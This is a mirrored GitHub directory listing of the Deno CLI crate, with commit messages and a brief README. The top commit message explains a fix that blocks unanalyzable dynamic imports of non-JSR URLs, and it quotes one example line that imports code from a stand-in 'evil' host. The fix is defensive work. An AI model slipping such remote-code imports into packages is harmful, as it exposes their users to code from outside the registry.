1
0
Fork 0
mirror of https://github.com/denoland/deno.git synced 2024-11-21 15:04:11 -05:00
denoland-deno/cli
David Sherret 918c5e648f
fix(jsr): do not allow importing a non-JSR url via unanalyzable dynamic import from JSR (#22623)
A security feature of JSR is that it is self contained other than npm
dependencies. At publish time, the registry rejects packages that write
code like this:

```ts
const data = await import("https://example.com/evil.js");
```

However, this can be trivially bypassed by writing code that the
registry cannot statically analyze for. This PR prevents Deno from
loading dynamic imports that do this.
2024-02-28 16:30:45 -05:00
..
args chore(cli): rename --trace-ops to --trace-leaks (#22598) 2024-02-28 09:12:43 -07:00
bench chore: move test_util/std to tests/util/std (#22402) 2024-02-13 09:22:49 -07:00
cache perf(jsr): fast check cache and lazy fast check graph (#22485) 2024-02-20 21:29:57 +00:00
js perf(cli): reduce overhead in test registration (#22552) 2024-02-27 20:30:17 -07:00
lsp chore(cli): rename --trace-ops to --trace-leaks (#22598) 2024-02-28 09:12:43 -07:00
napi 1.41.0 (#22524) 2024-02-22 02:44:05 +01:00
npm feat(lockfile): track JSR and npm dependencies in config file (#22004) 2024-01-22 22:31:12 +01:00
ops perf(cli): reduce overhead in test registration (#22552) 2024-02-27 20:30:17 -07:00
schemas fix(lsp): add schema for JSR related config options (#22497) 2024-02-20 13:49:24 +00:00
standalone fix(ext/node): set correct process.argv0 (#22555) 2024-02-23 17:30:29 +01:00
tools fix(publish): make the already published message look like a warning (#22620) 2024-02-28 21:30:20 +01:00
tsc chore: bump deno_core (#22596) 2024-02-27 08:05:57 -07:00
util feat(publish): support sloppy imports and bare node built-ins (#22588) 2024-02-27 15:13:16 +00:00
auth_tokens.rs fix(cli): Add IP address support to DENO_AUTH_TOKEN (#22297) 2024-02-06 19:45:40 +01:00
build.rs chore: bump deno_core (#22596) 2024-02-27 08:05:57 -07:00
Cargo.toml feat(publish): provenance attestation (#22573) 2024-02-28 07:58:02 +05:30
cdp.rs refactor(tools/repl): reorganize code (#21810) 2024-01-05 16:14:58 +01:00
deno.ico fix(cli): add icon and metadata to deno.exe on Windows (#6693) 2020-07-15 21:54:38 +02:00
deno_std.rs 1.41.0 (#22524) 2024-02-22 02:44:05 +01:00
emit.rs refactor: load bytes in deno_graph (#22212) 2024-02-01 03:15:22 +00:00
entitlements.plist chore: start codesigning mac release builds (#21303) 2023-11-23 15:30:26 -07:00
errors.rs fix: upgrade to deno_ast 0.33 (#22341) 2024-02-09 01:40:26 +00:00
factory.rs feat(publish): support sloppy imports and bare node built-ins (#22588) 2024-02-27 15:13:16 +00:00
file_fetcher.rs feat(unstable): single checksum per JSR package in the lockfile (#22421) 2024-02-15 14:49:35 -05:00
graph_util.rs fix(unstable): sloppy imports should resolve .d.ts files during types resolution (#22602) 2024-02-27 18:30:21 +00:00
http_util.rs chore: update copyright to 2024 (#21753) 2024-01-01 19:58:21 +00:00
integration_tests_runner.rs chore: continue tests/ re-org (#22396) 2024-02-12 17:13:14 -07:00
js.rs chore: bump deno_core (#22596) 2024-02-27 08:05:57 -07:00
main.rs fix: upgrade to deno_ast 0.33 (#22341) 2024-02-09 01:40:26 +00:00
mainrt.rs feat: denort binary for deno compile (#22205) 2024-02-13 21:52:30 +05:30
module_loader.rs fix(jsr): do not allow importing a non-JSR url via unanalyzable dynamic import from JSR (#22623) 2024-02-28 16:30:45 -05:00
node.rs fix: upgrade to deno_ast 0.33 (#22341) 2024-02-09 01:40:26 +00:00
README.md docs(cli): do not need gen doc for cli (#17260) 2023-01-04 13:19:58 +01:00
resolver.rs fix(unstable): sloppy imports should resolve .d.ts files during types resolution (#22602) 2024-02-27 18:30:21 +00:00
version.rs chore: update copyright to 2024 (#21753) 2024-01-01 19:58:21 +00:00
worker.rs fix(ext/node): set correct process.argv0 (#22555) 2024-02-23 17:30:29 +01:00

Deno CLI Crate

crates

This provides the actual deno executable and the user-facing APIs.

The deno crate uses the deno_core to provide the executable.